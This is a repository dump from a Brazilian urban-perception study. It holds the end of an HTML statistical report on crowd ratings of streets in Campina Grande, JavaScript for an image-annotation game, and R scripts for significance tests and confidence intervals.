## d_mvciclyst -0.0536324 0.0194732 -2.754
## d_mvcars 0.0239194 0.0260800 0.917
## d_pcars -0.0105662 0.0200576 -0.527
## bair_catcatole_centro 0.9683455 0.0617959 15.670
## bair_catcatole_liberdade 0.3466777 0.0645243 5.373
## bair_catcentro_catole -0.5683273 0.0640817 -8.869
## bair_catcentro_liberdade -0.3178454 0.0789740 -4.025
## bair_catliberdade_catole 0.0079128 0.0715922 0.111
## bair_catliberdade_centro 0.4263664 0.0806328 5.288
## d_swidth:citynotcampina -0.0615239 0.0328867 -1.871
## d_sidewalk:citynotcampina -0.0240622 0.0311416 -0.773
## d_trees:citynotcampina 0.1607692 0.0366965 4.381
## d_lands:citynotcampina -0.1535088 0.0357615 -4.293
## d_bid:citynotcampina -0.0225010 0.0389602 -0.578
## d_people:citynotcampina -0.0113909 0.0413171 -0.276
## d_mvciclyst:citynotcampina -0.0056309 0.0287026 -0.196
## d_mvcars:citynotcampina -0.0296400 0.0381653 -0.777
## d_pcars:citynotcampina -0.1116083 0.0295805 -3.773
## bair_catcatole_centro:citynotcampina -0.1731016 0.0862194 -2.008
## bair_catcatole_liberdade:citynotcampina 0.1576062 0.0927340 1.700
## bair_catcentro_catole:citynotcampina 0.0002194 0.0934209 0.002
## bair_catcentro_liberdade:citynotcampina -0.2036296 0.1161902 -1.753
## bair_catliberdade_catole:citynotcampina 0.0554045 0.1032883 0.536
## bair_catliberdade_centro:citynotcampina 0.2392440 0.1149931 2.081
## Pr(>|z|)
## (Intercept) 7.33e-10 ***
## d_swidth 0.414323
## d_sidewalk < 2e-16 ***
## d_trees 1.33e-07 ***
## d_lands < 2e-16 ***
## d_bid 9.00e-09 ***
## d_people < 2e-16 ***
## d_mvciclyst 0.005884 **
## d_mvcars 0.359061
## d_pcars 0.598337
## bair_catcatole_centro < 2e-16 ***
## bair_catcatole_liberdade 7.75e-08 ***
## bair_catcentro_catole < 2e-16 ***
## bair_catcentro_liberdade 5.71e-05 ***
## bair_catliberdade_catole 0.911992
## bair_catliberdade_centro 1.24e-07 ***
## d_swidth:citynotcampina 0.061375 .
## d_sidewalk:citynotcampina 0.439716
## d_trees:citynotcampina 1.18e-05 ***
## d_lands:citynotcampina 1.77e-05 ***
## d_bid:citynotcampina 0.563576
## d_people:citynotcampina 0.782782
## d_mvciclyst:citynotcampina 0.844470
## d_mvcars:citynotcampina 0.437383
## d_pcars:citynotcampina 0.000161 ***
## bair_catcatole_centro:citynotcampina 0.044677 *
## bair_catcatole_liberdade:citynotcampina 0.089215 .
## bair_catcentro_catole:citynotcampina 0.998126
## bair_catcentro_liberdade:citynotcampina 0.079679 .
## bair_catliberdade_catole:citynotcampina 0.591678
## bair_catliberdade_centro:citynotcampina 0.037479 *
## ---
## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1</code></pre>
<pre><code>##
## Correlation matrix not shown by default, as p = 31 > 12.
## Use print(summary(agrad_random_user), correlation=TRUE) or
## vcov(summary(agrad_random_user)) if you need it</code></pre>
<pre><code>## [1] "<NAME>"
## dev
## 0.8408966
## [1] "<NAME>"
## dev
## 0.1591034
## [1] "<NAME>"
## dev
## 0.1979338
## [1] "Nagelkerke"
## dev
## 0.2639118</code></pre>
<pre><code>## [1] "Random Effects without user moderation scaled"</code></pre>
<pre><code>## Generalized linear mixed model fit by maximum likelihood (Laplace
## Approximation) [glmerMod]
## Family: binomial ( logit )
## Formula: choice ~ d_swidth + d_sidewalk + d_trees + d_lands + d_bid +
## d_people + d_mvciclyst + d_mvcars + d_pcars + bair_cat +
## +(1 | userID)
## Data: the_data
##
## AIC BIC logLik deviance df.resid
## 39355.3 39498.4 -19660.6 39321.3 33595
##
## Scaled residuals:
## Min 1Q Median 3Q Max
## -5.3770 -0.7832 0.0016 0.8035 7.6557
##
## Random effects:
## Groups Name Variance Std.Dev.
## userID (Intercept) 0 0
## Number of obs: 33612, groups: userID, 561
##
## Fixed effects:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) -0.115931 0.019192 -6.040 1.54e-09 ***
## d_swidth -0.044741 0.016312 -2.743 0.00609 **
## d_sidewalk 0.329349 0.015441 21.329 < 2e-16 ***
## d_trees 0.198057 0.018163 10.905 < 2e-16 ***
## d_lands 0.671915 0.017749 37.857 < 2e-16 ***
## d_bid -0.157132 0.019291 -8.145 3.79e-16 ***
## d_people 0.246073 0.020562 11.967 < 2e-16 ***
## d_mvciclyst -0.056262 0.014273 -3.942 8.08e-05 ***
## d_mvcars 0.009476 0.018982 0.499 0.61762
## d_pcars -0.060915 0.014701 -4.144 3.42e-05 ***
## bair_catcatole_centro 0.885036 0.047637 18.579 < 2e-16 ***
## bair_catcatole_liberdade 0.413453 0.049715 8.316 < 2e-16 ***
## bair_catcentro_catole -0.561923 0.049327 -11.392 < 2e-16 ***
## bair_catcentro_liberdade -0.402972 0.059985 -6.718 1.84e-11 ***
## bair_catliberdade_catole 0.030475 0.054760 0.557 0.57786
## bair_catliberdade_centro 0.546813 0.060837 8.988 < 2e-16 ***
## ---
## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1</code></pre>
<pre><code>##
## Correlation matrix not shown by default, as p = 16 > 12.
## Use print(...., correlation=TRUE) or
## vcov(....) if you need it</code></pre>
<p>As regressões logísticas, por outro lado, apontam uma melhoria no AIC em torno de 80 pontos quando usamos a moderação em relação a não usá-la e aponta preferências em relação a trees e landscape. De forma similar ao modelo OLS, preferências por mais árvores, calçadas mais largas, mais manutenção e menos identificadores foram percebidas em geral.</p>
</div>
</div>
<div id="analise-geral-das-ruas---media-e-dispersao" class="section level1">
<h1>Análise Geral das Ruas - Média e Dispersão</h1>
<ol style="list-style-type: decimal">
<li>Na média as ruas são parecidas ou não? Tem alguma rua que parece muito boa ou muito ruim?</li>
</ol>
<pre><code>## [1] ">>>>> Média Geral"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-10-1.png" width="672" /></p>
<pre><code>## [1] ">>>>> Média Moradores"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-10-2.png" width="672" /></p>
<pre><code>## [1] ">>>>> Média Não Moradores"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-10-3.png" width="672" /></p>
<ul>
<li>A <NAME>raújo realmente está bem abaixo das demais ruas;</li>
<li>As outras 5 ruas possuem intervalos próximos, que podem ser confundíveis, apesar da Cristina e a Floriano parecerem ter uma tendência de melhores scores;</li>
</ul>
<p>Como essas médias se comparam com os dados que tínhamos antes (pontos aleatórios) da rua ou ainda com pontos aleatórios dos novos dados?</p>
<pre><code>## [1] ">>>>> Médias V1 x Dados Atuais"</code></pre>
<pre><code>## [1] ">>> Summary Manoel (Old x New)"
## [1] 4
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.327 3.366 3.915 3.924 4.473 4.539
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.375 3.578 3.644 3.691 3.806 4.070
## [1] ">>> Summary Inacio"
## [1] 2
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.685 4.147 4.609 4.609 5.072 5.534
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.571 4.313 4.837 4.720 5.112 5.785
## [1] ">>> Summary Edesio"
## [1] 2
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.677 4.125 4.574 4.574 5.023 5.472
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.846 4.357 4.732 4.708 5.039 5.379
## [1] ">>> Summary Cristina"
## [1] 2
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.500 3.927 4.354 4.354 4.781 5.208
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.030 4.495 5.214 4.979 5.446 6.068</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-11-1.png" width="672" /></p>
<pre><code>## [1] ">>>>> Médias Simulando 3 pontos por rua"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-11-2.png" width="672" /></p>
<ol start="2" style="list-style-type: decimal">
<li>Será que ruas que são parecidas na média, são de fato similares?</li>
</ol>
<p>5 das ruas selecionadas parecem bem similares de acordo com a média, mas será que são similares assim? Para isso computamos os violin plots de cada rua.</p>
<pre><code>## [1] ">>>>> Todos os usuários e todas as fotos juntas"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-1.png" width="672" /></p>
<pre><code>## [1] ">>>>> Votos aleatórios"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-2.png" width="672" /></p>
<pre><code>## [1] ">>>>> Todos os usuários por rua"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-3.png" width="672" /></p>
<pre><code>## [1] ">>>>> Moradores"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-4.png" width="672" /></p>
<pre><code>## [1] ">>>>> Não moradores"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-5.png" width="672" /></p>
<p>A partir da análise dos violin plots, alguns pontos podem ser destacados:</p>
<ul>
<li>A <NAME> foi realmente a rua com as notas em gerais mais baixas o que pode ser um indicativo de problema na rua. Analisando com mais cuidado as imagens da rua na próxima Seção, pode-se perceber que esses valores baixos eram esperados, já que se trata de uma área antiga e pouco cuidada do centro da cidade (bem degradada!);</li>
<li>A Inacio Marques, <NAME> e Cristina tiveram valores mais espalhados com uma maior concentração em algumas regiões, o que era esperado dado variações nos tipos de locais nessas ruas (mais ou menos verde, mais ou menos conservados). Existem concentrações de medianos para bons, porém a Inácio tem uma concentração de scores ruins e a Cristina tem algunas notas muito baixas;</li>
<li>A Maciel Pinheiro tem uma maior concentração de valores com notas parecidas, o que era esperado dado a maior semelhança de locais ao longo de toda a rua. Isso a torna mais homogênea que as outras 4, porém mais heterogênea que a Man<NAME>;</li>
<li>A Floriano também tem uma maior concentração de valores com notas parecidas, porém um pouco mais heterogêneas que a Maciel Pinheiro;</li>
<li>A Inacio, Edesio, Floriano e Cristina possuem QScores que variam em 1.5 ou mais pontos. Essa grande variação merece ser analisada com mais cuidado já que pode ser um indicativo de problemas em certos locais das ruas!</li>
</ul>
<p>Para complemento numérico dos violin plots, temos os coeficientes de dispersão/heterogeneidade e o sumário de cada rua na seguinte ordem: Inacio, Edesio, Maciel e Manoel. Aqui é importante destacar que:</p>
<ul>
<li>Os três pontos mais heterogêneos considerados foram, respectivamente, das ruas Inácio Marques, <NAME> e Cristina Procópio. É interessante observar que, apesar da ordem de heterogeneidade das ruas ser diferente, essas 3 ruas são as mais heterogêneas do nosso conjunto de dados.</li>
</ul>
<pre><code>## labels variable value
## 1 Gini cristina 0.07866857
## 2 Gini inacio 0.06449985
## 3 Gini edesio 0.05505192
## 4 Gini floriano 0.03625431
## 5 Gini maciel 0.02877131
## 6 Gini manoel 0.02787024</code></pre>
<pre><code>## labels variable value
## 1 Entropy cristina 0.011272603
## 2 Entropy inacio 0.006778966
## 3 Entropy edesio 0.004741204
## 4 Entropy floriano 0.002272689
## 5 Entropy manoel 0.001275784
## 6 Entropy maciel 0.001268588</code></pre>
<pre><code>## labels variable value
## 1 SD cristina 0.7246290
## 2 SD inacio 0.5468982
## 3 SD edesio 0.4657048
## 4 SD floriano 0.3386793
## 5 SD maciel 0.2462220
## 6 SD manoel 0.1922078</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.571 4.313 4.837 4.720 5.112 5.785</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.846 4.357 4.732 4.708 5.039 5.379</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 4.377 4.581 4.772 4.778 4.998 5.133</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.375 3.578 3.644 3.691 3.806 4.070</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 4.109 4.794 5.007 4.964 5.165 5.568</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.030 4.495 5.214 4.979 5.446 6.068</code></pre>
</div>
<div id="uma-impressao-geral-ao-longo-da-rua" class="section level1">
<h1>Uma impressão geral ao longo da rua</h1>
<p>Após a análise das médias por rua e de suas desigualdades, vamos dar uma olhada geral ao longo de todas as ruas sob a visão de todos os usuários, só dos moradores e só dos não moradores. Com isso podemos perceber diferenças e semelhanças entre as ruas, com a presença de locais melhor/pior avaliados ao longo das mesmas.</p>
<blockquote>
<blockquote>
<blockquote>
<p>Considerando todos os respondentes</p>
</blockquote>
</blockquote>
</blockquote>
<img src="analisaPorRua_files/figure-html/unnamed-chunk-14-1.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-2.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-3.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-4.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-5.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-6.png" width="1152" />
<div class="row">
<div class="col-xs-12">
<img src='images/cristina_procopio.png' width='800px'>
<div class="caption">
<NAME>
</div>
</div>
</div>
<div class="row">
<div class="col-xs-12">
<img src='images/inacio_marques.png' width='800px'>
<div class="caption">
In<NAME>
</div>
</div>
</div>
<blockquote>
<blockquote>
<blockquote>
<p>Considerando só os moradores de Campina</p>
</blockquote>
</blockquote>
</blockquote>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-1.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-2.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-3.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-4.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-5.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-6.png" width="1152" /></p>
<blockquote>
<blockquote>
<blockquote>
<p>Considerando só os não moradores de Campina</p>
</blockquote>
</blockquote>
</blockquote>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-1.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-2.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-3.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-4.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-5.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-6.png" width="1152" /></p>
</div>
<div id="analisando-em-detalhe-cada-rua" class="section level1">
<h1>Analisando em detalhe cada rua</h1>
<p>Para entender um pouco melhor cada rua, tentamos analisar os QScores obtidos ao longo da rua e confrontá-los com as imagens para tentar responder a questão abaixo:</p>
<ol start="3" style="list-style-type: decimal">
<li>Podemos descrever cada rua? Apontar pontos notáveis, problemas, se um lado da rua é diferente do outro? Esses pontos seriam identificados pela regressão ou comportamento médio?</li>
</ol>
<p>Vide analisaPorRua2.html!</p>
</div>
<div id="caracteristicas-de-usuarios-no-centro" class="section level1">
<h1>Características de Usuários no Centro</h1>
<p>Algumas observações:</p>
<ul>
<li>Para as ruas <NAME>, <NAME>, Peregrino de Carvalho e Marquês de Herval apesar de terem características diferentes quanto á largura de rua, arborização e conservação de prédios, os usuários mostraram alta importância para Espaços Públicos, Arborização, Espaços para Circulação de Pedestres e Mobiliário Urbano;</li>
<li>A importância dada a espaço para circulação é geralmente de média a alta, com algumas variações entre estas ruas</li>
</ul>
<p>[1] “>>>>> Rua <NAME> 60” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-1.png" width="1152" />[1] “>>>>> Rua Marquês do herval 42” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-2.png" width="1152" />[1] “>>>>> Rua <NAME> 44” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-3.png" width="1152" />[1] “>>>>> Rua Peregrino de Carvalho 61” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-4.png" width="1152" />[1] “>>>>> Rua Eufrosino 11” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-5.png" width="1152" />[1] “>>>>> <NAME> 21” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-6.png" width="1152" />[1] “>>>>> <NAME>lo 10” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-7.png" width="1152" />[1] “>>>>> <NAME> Sales 22” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-8.png" width="1152" />[1] “>>>>> <NAME> 24” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-9.png" width="1152" />[1] “>>>>> Rua Venâncio neiva 46” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-10.png" width="1152" /></p>
</div>
</div>
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doZoom(delta * 0.030);
};
function doZoom(level) {
stage.setScale(stage.getScale().x + level);
// Avoid zoom-out
if (stage.getScale().x < 1)
stage.setScale(1);
if (level > 0) {
stage.setPosition(stage.attrs.x - 2, stage.attrs.y - 2);
}
else {
stage.setPosition(stage.attrs.x + 2, stage.attrs.y + 2);
}
keepInViewPort();
stage.draw();
scale = stage.getScale().x;
scaledImageSize = imageSize * scale;
}
function keepInViewPort(e) {
if (stage.attrs.x < (imageSize - scaledImageSize)) {
stage.attrs.x = imageSize - scaledImageSize;
}
if (stage.attrs.y < (imageSize - scaledImageSize)) {
stage.attrs.y = imageSize - scaledImageSize;
}
if (stage.attrs.x > 0)
stage.attrs.x = 0;
if (stage.attrs.y > 0)
stage.attrs.y = 0;
};
function reset() {
scale = 1;
inverted = false;
imageSize = window.innerWidth * 0.4;
scaledImageSize = window.innerWidth * 0.4;
stage.setPosition(0, 0);
stage.setScale(scale);
stage.draw();
}
//Called when an image must be loaded for evaluation
function loadImages() {
normalImage = new Image();
normalImage.onload = function () {
// Show image
$('#pictureCanvas').show();
$('#loadingPicture').hide();
sun.setImage(normalImage);
stage.draw();
};
//normalImage.src = "https://contribua.org/sun4allfiles/" + currentImage;
normalImage.src = currentImage;
//invImage = new Image();
//invImage.onload = function() {
// $("#btnInvert").removeAttr("disabled");
//};
//invImage.src = "https://contribua.org/sun4allfiles/inv/" + currentImage;
}
function findMark(shape) {
var marks = shape.getClassName() == 'Rect' ? clusters : spots;
for (var i = 0; i < marks.length; i++) {
var pos = shape.getPosition();
var markPos = marks[i].getPosition();
if (pos.x == markPos.x && pos.y == markPos.y) {
return marks[i];
}
}
return null;
}
function enableRemoveMark() {
document.body.style.cursor = 'default';
$("#removeSpotOrCluster").prop("disabled", 'true');
$("#btnAddCluster").removeAttr("disabled");
$("#btnAddSpot").removeAttr("disabled");
}
function removeSelectedMark(mark) {
if (mark == null) return;
var entryType = mark.getClassName() == 'Cross' ? 'spot' : 'cluster';
if (entryType == 'spot') {
spots.splice(spots.indexOf(mark), 1);
spotCount--;
//$('#lblspotCount').text(spotCount);
mark.getShape().remove();
} /*else {
clusters.splice(clusters.indexOf(mark), 1);
clusterCount--;
$('#lblclusterCount').text(clusterCount);
mark.remove();
}*/
layer.draw();
}
function enableAddSpot() {
document.body.style.cursor = "crosshair";
$("#btnAddSpot").prop("disabled", 'true');
//$("#btnAddCluster").removeAttr("disabled");
$("#removeSpotOrCluster").removeAttr("disabled");
}
function enableAddCluster() {
document.body.style.cursor = "crosshair";
//$("#btnAddCluster").prop("disabled", 'true');
$("#btnAddSpot").removeAttr("disabled");
$("#removeSpotOrCluster").removeAttr("disabled");
}
function startOver() {
//Saving first image evaluation first before resetting!
bestImageSpotCount = spotCount;
bestImageSpots = spots;
//reset canvas
for (var i = 0; i < spots.length; i++)
spots[i].getShape().remove();
//for (var i = 0; i < clusters.length; i++)
// clusters[i].remove();
spotCount = 0;
//clusterCount = 0;
spots = new Array();
//clusters = new Array();
//$('#lblclusterCount').text(clusterCount);
//$('#lblspotCount').text(spotCount);
reset();
layer.draw();
//reset textbox
//$('#txtObservation').val('');
}
//Start a new game round: sun-spot
function start(data) {
var task = data.task;
if ($.isEmptyObject(task)) {
reset();
$("#mainDivGame").hide();
$("#finish").fadeIn(500);
return;
}
// Get task info
taskId = task.id;
// start!
currentImage = task.info.image;
inverted = true;
reset();
loadImages();
}
//Start a new game round for Como é Campina? where the worker is asked to add spots to the images that are related to the reasons why they selected those images!
function start_comoecampina(taskID, image) {
//TO DO: start hiding all images: $("#imgs-wrapper").hide() or (var img = document.getElementById("imgA"), img.style.visibility = "visible") or ($("container").empty(), $("container").append(...)) and then presenting only two selected images!
if (taskID === '' || taskID === null) {
reset();
$("#imgs-wrapper-2").hide();
$("#imgs-wrapper-3").hide();
//$("#finish").fadeIn(500);
return;
}
taskId = taskID;
currentImage = image;
//currentTaskRun = taskrun;
// start!
/*if (bestWorstStage === 0){
currentImage = taskrun.info.theMost;
}else{
currentImage = taskrun.info.theLess;
}*/
//Restarting buttons!
$("#removeSpotOrCluster").removeAttr("disabled");
$("#btnAddSpot").removeAttr("disabled");
$("#removeSpotOrCluster").prop("enabled", "true");
$("#btnAddSpot").prop("enabled", "true");
document.body.style.cursor = "default";
if (bestWorstStage == 1){
startOver();
}
reset();
loadImages();
}
//Called when the evaluation of a certain image has finished (after adding spots to it!)
function done() {
//var answer = spotCount + "~" + clusterCount + "~" + $('#txtObservation').val();
var answer = bestImageSpotCount;
// add spots
for (i = 0; i < bestImageSpotCount; i++) {
var spot = bestImageSpots[i];
var pos = spot.getPosition();
answer += createSpotEntry(pos.x, pos.y);
}
var answer2 = spotCount;
// add spots
for (i = 0; i < spotCount; i++) {
var spot = spots[i];
var pos = spot.getPosition();
answer += createSpotEntry(pos.x, pos.y);
}
var finalAnswer = new Array();
finalAnswer[0] = answer;
finalAnswer[1] = answer2;
return finalAnswer;
// add clusters
/*for (i = 0; i < clusterCount; i++) {
var cluster = clusters[i];
var pos = cluster.getPosition();
answer += createClusterEntry(pos.x, pos.y, cluster.getWidth());
}*/
//console.log(answer);
/*pybossa.saveTask(taskId, answer).done(
function (data) {
// Show dialog
$('#completedDialog').modal('show');
// Fade out the pop-up after a 1000 miliseconds
//setTimeout(function() { $("#success").fadeOut() }, 1000);
startOver();
pybossa.newTask(app_shortname).done(function(data) {
start(data);
});
});*/
}
<file_sep>#!/bin/Rscript
# Calculates the comparison tests (t-test and mann-whitney) for a set of two data sets
library(ggplot2)
agradavel <- "agrad%C3%A1vel?"
seguro <- "seguro?"
calculateTTests2 <- function(file1, file2, output1, output2, shouldPlot=FALSE){
data1 <<- read.table(file1)
data2 <<- read.table(file2)
agra1 <- data1[data1$V1 == agradavel,]
agra2 <- data2[data2$V1 == agradavel,]
seg1 <- data1[data1$V1 == seguro,]
seg2 <- data2[data2$V1 == seguro,]
print(">> Equal Agra")
res<-wilcox.test(agra1$V3, agra2$V3, alternative="t", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(agra1$V3, agra2$V3, alternative="t")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
print(">> Less Agra")
res <- wilcox.test(agra1$V3, agra2$V3, alternative="l", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(agra1$V3, agra2$V3, alternative="l")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
print(">> Greater Agra")
res <- wilcox.test(agra1$V3, agra2$V3, alternative="g", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(agra1$V3, agra2$V3, alternative="g")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
print(">> Equal Seg")
res<-wilcox.test(seg1$V3, seg2$V3, alternative="t", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(seg1$V3, seg2$V3, alternative="t")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
print(">> Less Seg")
res <- wilcox.test(seg1$V3, seg2$V3, alternative="l", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(seg1$V3, seg2$V3, alternative="l")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
print(">> Greater Seg")
res <- wilcox.test(seg1$V3, seg2$V3, alternative="g", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(seg1$V3, seg2$V3, alternative="g")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
#Creating boxplots of qscores per group
if (shouldPlot){
pdf(paste("boxplotAgra", output1, ".pdf"), paper="special")
#boxplot(data1$V3, main=paste("Boxplot", output1), col=color)
ggplot(data1, aes(y=agra1$V3, x=c(output1)))+geom_boxplot()
+ geom_point(position = position_jitter(width = 0.2))
+theme_bw()+ xlab("") + ylab("QScore")
+ylim(2, 8)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
pdf(paste("boxplotAgra", output2, ".pdf"), paper="special")
#boxplot(data2$V3, main=paste("Boxplot", output2), col=color)
ggplot(data2, aes(y=agra2$V3, x=c(output2)))+geom_boxplot()
+ geom_point(position = position_jitter(width = 0.2))
+theme_bw()+ xlab("") + ylab("QScore")
+ylim(2, 8)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
pdf(paste("boxplotSeg", output1, ".pdf"), paper="special")
#boxplot(data1$V3, main=paste("Boxplot", output1), col=color)
ggplot(data1, aes(y=agra1$V3, x=c(output1)))+geom_boxplot()
+ geom_point(position = position_jitter(width = 0.2))
+theme_bw()+ xlab("") + ylab("QScore")
+ylim(2, 8)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
pdf(paste("boxplotSeg", output2, ".pdf"), paper="special")
#boxplot(data2$V3, main=paste("Boxplot", output2), col=color)
ggplot(data2, aes(y=agra2$V3, x=c(output2)))+geom_boxplot()
+ geom_point(position = position_jitter(width = 0.2))
+theme_bw()+ xlab("") + ylab("QScore")
+ylim(2, 8)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
#Verifying if data is normal
pdf(paste("norm", output1, "-", output2, ".pdf"), paper="special")
par(mfrow=c(2,2))
qqnorm(agra1$V3)
qqline(agra1$V3)
qqnorm(agra2$V3)
qqline(agra2$V3)
qqnorm(seg1$V3)
qqline(seg1$V3)
qqnorm(seg2$V3)
qqline(seg2$V3)
dev.off()
}
}
calculateTTests <- function(file1, file2, output1, output2, shouldPlot=FALSE){
data1 <<- read.table(file1)
data2 <<- read.table(file2)
print(">> Equal")
res<-wilcox.test(data1$V3, data2$V3, alternative="t", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(data1$V3, data2$V3, alternative="t")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
print(">> Less")
res <- wilcox.test(data1$V3, data2$V3, alternative="l", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(data1$V3, data2$V3, alternative="l")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
print(">> Greater")
res <- wilcox.test(data1$V3, data2$V3, alternative="g", paired=F)
print(paste(res$method, " ", res$p.value, " ", res$alternative))
res <- t.test(data1$V3, data2$V3, alternative="g")
print(paste(res$method, " ", res$p.value, " ", res$alternative))
#Creating boxplots of qscores per district
if (shouldPlot){
pdf(paste("boxplot", output1, ".pdf"), paper="special")
#boxplot(data1$V3, main=paste("Boxplot", output1), col=color)
ggplot(data1, aes(y=data1$V3, x=c(output1)))+geom_boxplot()
pdf(paste("boxplot", output2, ".pdf"), paper="special")
#boxplot(data2$V3, main=paste("Boxplot", output2), col=color)
ggplot(data2, aes(y=data2$V3, x=c(output2)))+geom_boxplot()
#Verifying if data is normal
pdf(paste("norm", output1, "-", output2, ".pdf"), paper="special")
par(mfrow=c(1,2))
qqnorm(data1$V3)
qqline(data1$V3)
qqnorm(data2$V3)
qqline(data2$V3)
dev.off()
}
}
args <- commandArgs(trailingOnly = TRUE)
if(length(args) > 1){
calculateTTests(args[1], args[2], args[3], args[4], TRUE)
}
<file_sep>#!/bin/Rscript
library(dplyr)
icOnValues <- function(mean, sd, n) {
return (sd/sqrt(n)*qnorm(1-(0.05/2)))#95% confidence interval, significance level of 0.05 (alpha) - sample 100
#value = 1 - (1-0.05)**(1/26) #Sidak
#return (sd/sqrt(n)*qnorm(1-(value/2)))
#value = 1 - (1-0.05/26) #Bonferroni
#return (sd/sqrt(n)*qnorm(1-(value/2)))
}
icOnValuesSidak <- function(mean, sd, n) {
#return (sd/sqrt(n)*qnorm(1-(0.05/2)))#95% confidence interval, significance level of 0.05 (alpha) - sample 100
value = 1 - (1-0.05)**(1/26) #Sidak
return (sd/sqrt(n)*qnorm(1-(value/2)))
#value = 1 - (1-0.05/26) #Bonferroni
#return (sd/sqrt(n)*qnorm(1-(value/2)))
}
convertSummary <- function(coeffData) {
print( paste( "index feature real random sd lower higher norm" ), quote=FALSE )
realValue <- as.double(filter(coeffData, variable=="movCars")$value)
normValue <- as.double(filter(coeffData, variable=="movCarsN")$value)
randomValue <- as.double(filter(coeffData, variable=="rmovCars")$value)
sdValue <- as.double(filter(coeffData, variable=="rsdMovCars")$value)
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "movCars", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="parkCars")$value
normValue <- as.double(filter(coeffData, variable=="parkCarsN")$value)
randomValue <- filter(coeffData, variable=="rparkCars")$value
sdValue <- filter(coeffData, variable=="rsdParkCars")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
